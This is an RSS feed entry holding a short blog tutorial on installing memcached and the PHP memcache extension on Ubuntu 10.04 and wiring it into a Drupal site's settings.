			<content:encoded><![CDATA[<p>Memcache is a very simple caching system that uses memory to store objects. As you may already know, memory is faster to read than hard drive.  A site will take a lot less time to read a database result cached in memory. To make the best use of memcache, you should install the <a href="http://pecl.php.net/package/memcached">memcached module</a>. For this post we used Ubuntu Server 10.04, but all commands should work on most Ubuntu editions.</p>
<p>I have chosen to use memcached, rather than memcache. Have a look <a href="http://code.google.com/p/memcached/wiki/PHPClientComparison">here </a>to view a comparison</p>
<p>First, install the memcached package, php-pear (required for pecl), php5-dev (required for phpize) and libmemcached-dev</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code28'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12228"><td class="code" id="p122code28"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> memcached
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> php-pear
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> php5-dev
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libmemcached-dev</pre></td></tr></table></div>

<p>next, install memcached using pecl</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code29'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12229"><td class="code" id="p122code29"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> pecl <span style="color: #c20cb9; font-weight: bold;">install</span> Memcache</pre></td></tr></table></div>

<p>Also, we need to enable the memcache extension on php:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code30'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12230"><td class="code" id="p122code30"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;extension=memcache.so&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>apache2<span style="color: #000000; font-weight: bold;">/</span>conf.d<span style="color: #000000; font-weight: bold;">/</span>memcache.ini</pre></td></tr></table></div>

<p>Add the following line to your php.ini file.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code31'); return false;">View Code</a> INI</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12231"><td class="code" id="p122code31"><pre class="ini" style="font-family:monospace;">memcache.hash_strategy<span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;consistent&quot;</span></pre></td></tr></table></div>

<p>You can add it anywhere in the file.</p>
<p>Next you need to start an instance of memcache, you can start a daemon with the following command:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code32'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12232"><td class="code" id="p122code32"><pre class="bash" style="font-family:monospace;">memcached <span style="color: #660033;">-d</span> <span style="color: #660033;">-m</span> <span style="color: #000000;">2048</span> <span style="color: #660033;">-l</span> 10.0.0.40 <span style="color: #660033;">-p</span> <span style="color: #000000;">11211</span></pre></td></tr></table></div>

<p>If you are only using a single server, then you only need to include this line to your site’s settings.php file.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p122code33'); return false;">View Code</a> INI</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12233"><td class="code" id="p122code33"><pre class="ini" style="font-family:monospace;">$conf<span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>'cache_inc'<span style="">&#93;</span></span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> '/sites/all/modules/memcache/memcache.inc'</span><span style="color: #666666; font-style: italic;">;</span></pre></td></tr></table></div>

<p>The final step is to restart apache and then switch your site back online if it was offline.</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d122').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d122" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;submitHeadline=Installing+memcached+on+ubuntu+10.04&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;title=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;title=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;title=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;bm_description=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;T=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;title=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;title=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Installing+memcached+on+ubuntu+10.04+@+http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Finstalling-memcached-on-ubuntu-10-04%2F&amp;t=Installing+memcached+on+ubuntu+10.04" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d122').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d122').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/installing-memcached-on-ubuntu-10-04/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

